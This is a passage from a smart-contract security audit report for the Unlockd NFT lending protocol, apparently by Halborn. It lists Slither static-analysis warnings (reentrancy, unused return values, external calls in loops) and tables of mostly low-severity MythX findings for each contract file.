LiquidateLogic.executeLiquidate(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteLiquidateParams) (contracts/libraries/logic/LiquidateLogic.sol#433-538) uses timestamp for comparisons
	Dangerous comparisons:
	- require(bool,string)(block.timestamp > vars.auctionEndTimestamp,Errors.LPL_BID_AUCTION_DURATION_NOT_END) (contracts/libraries/logic/LiquidateLogic.sol#466)

contracts/libraries/logic/BorrowLogic.sol

BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams).vars (contracts/libraries/logic/BorrowLogic.sol#334) is a local variable never initialized
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256).vars (contracts/libraries/logic/BorrowLogic.sol#174) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) ignores return value by IDebtToken(reserveData.debtTokenAddress).mint(vars.initiator,params.onBehalfOf,params.amount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#225-230)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) ignores return value by IUToken(reserveData.uTokenAddress).transferUnderlyingTo(vars.initiator,params.amount) (contracts/libraries/logic/BorrowLogic.sol#235)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) ignores return value by IUToken(reserveData.uTokenAddress).transferUnderlyingTo(IUToken(reserveData.uTokenAddress).RESERVE_TREASURY_ADDRESS(),nftConfigFee) (contracts/libraries/logic/BorrowLogic.sol#236-239)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.reserveOracle = addressesProvider.getReserveOracle() (contracts/libraries/logic/BorrowLogic.sol#184)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.nftOracle = addressesProvider.getNFTOracle() (contracts/libraries/logic/BorrowLogic.sol#185)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.loanAddress = addressesProvider.getLendPoolLoan() (contracts/libraries/logic/BorrowLogic.sol#186)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.loanId = ILendPoolLoan(vars.loanAddress).getCollateralLoanId(params.nftAsset,params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#188)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.totalSupply = IERC721EnumerableUpgradeable(params.nftAsset).totalSupply() (contracts/libraries/logic/BorrowLogic.sol#189)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: IERC721Upgradeable(params.nftAsset).safeTransferFrom(vars.initiator,address(this),params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#203)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: vars.loanId = ILendPoolLoan(vars.loanAddress).createLoan(vars.initiator,params.onBehalfOf,params.nftAsset,params.nftTokenId,nftData.uNftAddress,params.asset,params.amount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#205-214)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: IDebtToken(reserveData.debtTokenAddress).mint(vars.initiator,params.onBehalfOf,params.amount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#225-230)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: IUToken(reserveData.uTokenAddress).transferUnderlyingTo(vars.initiator,params.amount) (contracts/libraries/logic/BorrowLogic.sol#235)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: IUToken(reserveData.uTokenAddress).transferUnderlyingTo(IUToken(reserveData.uTokenAddress).RESERVE_TREASURY_ADDRESS(),nftConfigFee) (contracts/libraries/logic/BorrowLogic.sol#236-239)
BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253) has external calls inside a loop: ILendPoolLoan(vars.loanAddress).updateLoan(vars.initiator,vars.loanId,params.amount,0,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#327-408)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: vars.poolLoan = addressesProvider.getLendPoolLoan() (contracts/libraries/logic/BorrowLogic.sol#337)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: vars.loanId = ILendPoolLoan(vars.poolLoan).getCollateralLoanId(params.nftAsset,params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#339)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: loanData = ILendPoolLoan(vars.poolLoan).getLoan(vars.loanId) (contracts/libraries/logic/BorrowLogic.sol#342)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: (None,vars.borrowAmount) = ILendPoolLoan(vars.poolLoan).getLoanReserveBorrowAmount(vars.loanId) (contracts/libraries/logic/BorrowLogic.sol#351)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: ILendPoolLoan(vars.poolLoan).updateLoan(vars.initiator,vars.loanId,0,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#363-369)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#380)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: IERC721Upgradeable(loanData.nftAsset).safeTransferFrom(address(this),loanData.borrower,params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#394)
BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408) has external calls inside a loop: ILendPoolLoan(vars.poolLoan).repayLoan(vars.initiator,vars.loanId,nftData.uNftAddress,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#371-377)

```
Reentrancy in BorrowLogic._borrow(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.Ex
ecuteBorrowParams,uint256) (contracts/libraries/logic/BorrowLogic.sol#164-253):
        External calls:
        - reserveData.updateState() (contracts/libraries/logic/BorrowLogic.sol#182)
        - IERC721Upgradeable(params.nftAsset).safeTransferFrom(vars.initiator,address(this),params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#203)
        - vars.loanId = ILendPoolLoan(vars.loanAddress).createLoan(vars.initiator,params.onBehalfOf,params.nftAsset,params.nftTokenId,nftData.uNftAddress,params.asset,params.amount,reserveData.variableBorrowIndex) (contract
s/libraries/logic/BorrowLogic.sol#205-214)
        - ILendPoolLoan(vars.loanAddress).updateLoan(vars.initiator,vars.loanId,params.amount,0,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#216-222)
        - IDebtToken(reserveData.debtTokenAddress).mint(vars.initiator,params.onBehalfOf,params.amount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#225-230)
        - IUToken(reserveData.uTokenAddress).transferUnderlyingTo(vars.initiator,params.amount) (contracts/libraries/logic/BorrowLogic.sol#235)
        - IUToken(reserveData.uTokenAddress).transferUnderlyingTo(IUToken(reserveData.uTokenAddress).RESERVE_TREASURY_ADDRESS(),nftConfigFee) (contracts/libraries/logic/BorrowLogic.sol#236-239)
        Event emitted after the call(s):
        - Borrow(vars.initiator,params.asset,params.amount,params.nftAsset,params.nftTokenId,params.onBehalfOf,reserveData.currentVariableBorrowRate,vars.loanId,params.referralCode,nftConfigFee) (contracts/libraries/logic/B
orrowLogic.sol#241-252)
Reentrancy in BorrowLogic._repay(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.Exe
cuteRepayParams) (contracts/libraries/logic/BorrowLogic.sol#327-408):
        External calls:
        - reserveData.updateState() (contracts/libraries/logic/BorrowLogic.sol#349)
        - ILendPoolLoan(vars.poolLoan).updateLoan(vars.initiator,vars.loanId,0,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#363-369)
        - ILendPoolLoan(vars.poolLoan).repayLoan(vars.initiator,vars.loanId,nftData.uNftAddress,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#371-377)
        - IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/BorrowLogic.sol#380)
        - IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(vars.initiator,reserveData.uTokenAddress,vars.repayAmount) (contracts/libraries/logic/BorrowLogic.sol#386-390)
        - IERC721Upgradeable(loanData.nftAsset).safeTransferFrom(address(this),loanData.borrower,params.nftTokenId) (contracts/libraries/logic/BorrowLogic.sol#394)
        Event emitted after the call(s):
        - Repay(vars.initiator,loanData.reserveAsset,vars.repayAmount,loanData.nftAsset,loanData.nftTokenId,loanData.borrower,vars.loanId) (contracts/libraries/logic/BorrowLogic.sol#397-405)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
```

contracts/misc/UiPoolDataProvider.sol

```
UnlockdProtocolDataProvider.getAllReservesTokenDatas() (contracts/misc/UnlockdProtocolDataProvider.sol#45-61) has external calls inside a loop: reserveData = pool.getReserveData(reserves[i]) (contracts/misc/UnlockdProtocolD
ataProvider.sol#50)
UnlockdProtocolDataProvider.getAllReservesTokenDatas() (contracts/misc/UnlockdProtocolDataProvider.sol#45-61) has external calls inside a loop: reservesTokens[i] = ReserveTokenData(IERC20Detailed(reserves[i]).symbol(),reser
ves[i],IERC20Detailed(reserveData.uTokenAddress).symbol(),reserveData.uTokenAddress,IERC20Detailed(reserveData.debtTokenAddress).symbol(),reserveData.debtTokenAddress) (contracts/misc/UnlockdProtocolDataProvider.sol#51-58)
UnlockdProtocolDataProvider.getAllNftsTokenDatas() (contracts/misc/UnlockdProtocolDataProvider.sol#84-98) has external calls inside a loop: nftData = pool.getNftData(nfts[i]) (contracts/misc/UnlockdProtocolDataProvider.sol#
89)
UnlockdProtocolDataProvider.getAllNftsTokenDatas() (contracts/misc/UnlockdProtocolDataProvider.sol#84-98) has external calls inside a loop: nftTokens[i] = NftTokenData(IERC721Detailed(nfts[i]).symbol(),nfts[i],IERC721Detail
ed(nftData.uNftAddress).symbol(),nftData.uNftAddress) (contracts/misc/UnlockdProtocolDataProvider.sol#90-95)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

UnlockdProtocolDataProvider.ETH (contracts/misc/UnlockdProtocolDataProvider.sol#18) is never used in UnlockdProtocolDataProvider (contracts/misc/UnlockdProtocolDataProvider.sol#14-314)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable
```

4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

contracts/protocol/LendPool.sol

Report for contracts/protocol/LendPool.sol
https://dashboard.mythx.io/#/console/analyses/e49e27f0-43f6-48e1-b023-3cc6a99cebe7

Line	SWC Title	Severity	Short Description
51	(SWC-123) Requirement Violation	Low	Requirement violation.
89	(SWC-107) Reentrancy	Low	Write to persistent state following external call
120	(SWC-123) Requirement Violation	Low	Requirement violation.
408	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
464	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.

contracts/protocol/LendPoolAddressesProvider.sol

Report for contracts/protocol/LendPoolAddressesProvider.sol
https://dashboard.mythx.io/#/console/analyses/20a0eb02-c973-4780-81a3-9630dc041682

Line	SWC Title	Severity	Short Description
20	(SWC-123) Requirement Violation	Low	Requirement violation.
82	(SWC-107) Reentrancy	Low	Read of persistent state following external call.
264	(SWC-107) Reentrancy	Low	Read of persistent state following external call.
424	(SWC-123) Requirement Violation	Low	Requirement violation.
443	(SWC-123) Requirement Violation	Low	Requirement violation.
445	(SWC-107) Reentrancy	Low	Read of persistent state following external call.

contracts/protocol/NFTOracle.sol

Report for contracts/protocol/NFTOracle.sol
https://dashboard.mythx.io/#/console/analyses/3d7f8c03-fd58-421d-8148-1aa04647bc2e

Line	SWC Title	Severity	Short Description
130	(SWC-123) Requirement Violation	Low	Requirement violation.
259	(SWC-123) Requirement Violation	Low	Requirement violation.

contracts/protocol/LendPoolLoan.sol

Report for contracts/protocol/LendPoolLoan.sol
https://dashboard.mythx.io/#/console/analyses/a7a28dd9-d0ac-4f3f-8855-0a9635445262

Line	SWC Title	Severity	Short Description
22	(SWC-123) Requirement Violation	Low	Requirement violation.
59	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
59	(SWC-107) Reentrancy	Low	A call to a user-supplied address is executed.
488	(SWC-123) Requirement Violation	Low	Requirement violation.

contracts/protocol/LendPoolConfigurator.sol

Report for contracts/protocol/LendPoolConfigurator.sol
https://dashboard.mythx.io/#/console/analyses/1d3c39d2-8df1-4c20-bc6e-9e0c0438ecd4

Line	SWC Title	Severity	Short Description
27	(SWC-123) Requirement Violation	Low	Requirement violation.
33	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
41	(SWC-123) Requirement Violation	Low	Requirement violation.
265	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
635	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.

contracts/protocol/PunkGateway.sol

Report for contracts/protocol/PunkGateway.sol
https://dashboard.mythx.io/#/console/analyses/52a634cf-c885-433b-8e9d-fb8d8cc086a1

Line	SWC Title	Severity	Short Description
56	(SWC-107) Reentrancy	Low	Write to persistent state following external call.
77	(SWC-123) Requirement Violation	Low	Requirement violation.
78	(SWC-113) DoS with Failed Call	Medium	Multiple calls are executed in the same transaction.
78	(SWC-107) Reentrancy	Low	Read of persistent state following external call.
146	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
524	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
566	(SWC-107) Reentrancy	Low	A call to a user-supplied address is executed.
579	(SWC-123) Requirement Violation	Low	Requirement violation.

contracts/protocol/WETHGateway.sol

Report for contracts/protocol/WETHGateway.sol
https://dashboard.mythx.io/#/console/analyses/d987ae5f-1835-4e16-8650-7488dec1df9e

Line	SWC Title	Severity	Short Description
47	(SWC-107) Reentrancy	Low	Write to persistent state following external call.
69	(SWC-123) Requirement Violation	Low	Requirement violation.
127	(SWC-113) DoS with Failed Call	Low	Multiple calls are executed in the same transaction.
128	(SWC-107) Reentrancy	Low	Write to persistent state following external call
128	(SWC-107) Reentrancy	Low	Read of persistent state following external call
418	(SWC-107) Reentrancy	Low	A call to a user-supplied address is executed.
433	(SWC-123) Requirement Violation	Low	Requirement violation.

THANK YOU FOR CHOOSING

// HALBORN